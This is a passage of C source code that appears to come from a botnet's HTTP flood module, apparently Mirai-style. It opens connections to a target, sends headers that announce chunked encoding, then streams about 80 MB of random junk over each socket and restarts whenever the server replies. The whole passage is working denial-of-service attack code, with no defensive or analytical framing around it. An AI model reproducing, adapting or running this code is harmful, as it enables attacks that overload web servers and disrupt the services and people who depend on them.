util_strcpy(buf + util_strlen(buf), " ");
table_unlock_val(TABLE_ATK_CHUNKED);
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CHUNKED, NULL));
table_lock_val(TABLE_ATK_CHUNKED);
util_strcpy(buf + util_strlen(buf), "\r\n");
util_strcpy(buf + util_strlen(buf), "\r\n");
conn->to_send = (80 * 1024 * 1024);
#ifdef DEBUG
if (sockets == 1)
{
printf("sending buf: \"%s\"\n", buf);
}
#endif
send(conn->fd, buf, util_strlen(buf), MSG_NOSIGNAL);
conn->last_send = fake_time;
conn->state = HTTP_CONN_SEND_JUNK;
FD_SET(conn->fd, &fdset_wr);
FD_SET(conn->fd, &fdset_rd);
if (conn->fd > mfd)
mfd = conn->fd + 1;
}
else if (conn->state == HTTP_CONN_SEND_JUNK)
{
int sent = 0;
char rndbuf[1025] = {0};
util_zero(rndbuf, 1025);
rand_alphastr(rndbuf, 1024);
if (conn->to_send <= 0)
{
send(conn->fd, "0\r\n", 3, MSG_NOSIGNAL);
} else {
// EZZZZZZZZZ HACKS
if (conn->to_send < 1024)
rndbuf[conn->to_send] = 0;
if ((conn->to_send >= 1024 && (conn->to_send % 1024) == 0))
{
char szbuf[4] = {0};
util_zero(szbuf, 4);
util_itoa(1024, 16, szbuf);
send(conn->fd, szbuf, util_strlen(szbuf), MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
}
if ((sent = send(conn->fd, rndbuf, util_strlen(rndbuf), MSG_NOSIGNAL)) == -1)
{
conn->state = HTTP_CONN_RESTART;
continue;
}
// if our local send buffer is full, slow down. no need to rush (^:
if (sent != util_strlen(rndbuf))
{
conn->state = HTTP_CONN_SNDBUF_WAIT;
}
conn->to_send -= sent;
FD_SET(conn->fd, &fdset_wr);
}
conn->last_send = fake_time;
FD_SET(conn->fd, &fdset_rd);
if (conn->fd > mfd)
mfd = conn->fd + 1;
}
else if (conn->state == HTTP_CONN_SNDBUF_WAIT)
{
FD_SET(conn->fd, &fdset_wr);
if (conn->fd > mfd)
mfd = conn->fd + 1;
}
else
{
// NEW STATE WHO DIS
conn->state = HTTP_CONN_INIT;
close(conn->fd);
conn->fd = -1;
}
}
if (mfd == 0)
continue;
tim.tv_usec = 0;
tim.tv_sec = 1;
nfds = select(mfd, &fdset_rd, &fdset_wr, NULL, &tim);
fake_time = time(NULL);
if (nfds < 1)
continue;
for (i = 0; i < sockets; i++)
{
conn = &(http_table[i]);
if (conn->fd == -1)
continue;
if (FD_ISSET(conn->fd, &fdset_wr))
{
if (conn->state == HTTP_CONN_CONNECTING)
{
int err = 0;
socklen_t err_len = sizeof (err);
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
if (err == 0 && ret == 0)
{
#ifdef DEBUG
printf("[http flood] FD%d connected.\n", conn->fd);
#endif
conn->state = HTTP_CONN_SEND;
}
else
{
#ifdef DEBUG
printf("[http flood] FD%d error while connecting = %d\n", conn->fd, err);
#endif
close(conn->fd);
conn->fd = -1;
conn->state = HTTP_CONN_INIT;
continue;
}
}
else if (conn->state == HTTP_CONN_SNDBUF_WAIT)
{
conn->state = HTTP_CONN_SEND_JUNK;
}
}
if (FD_ISSET(conn->fd, &fdset_rd))
{
// if we get any sort of headers or error code then punt it.
// we really dont care about any content we get
conn->state = HTTP_CONN_RESTART;
}
}
// handle any sockets that didnt return from select here
// also handle timeout on HTTP_CONN_QUEUE_RESTART just in case there was no other data to be read (^: (usually this will never happen)
#ifdef DEBUG
if (sockets == 1)
{
printf("debug mode sleep\n");
sleep(1);
}
#endif
}
}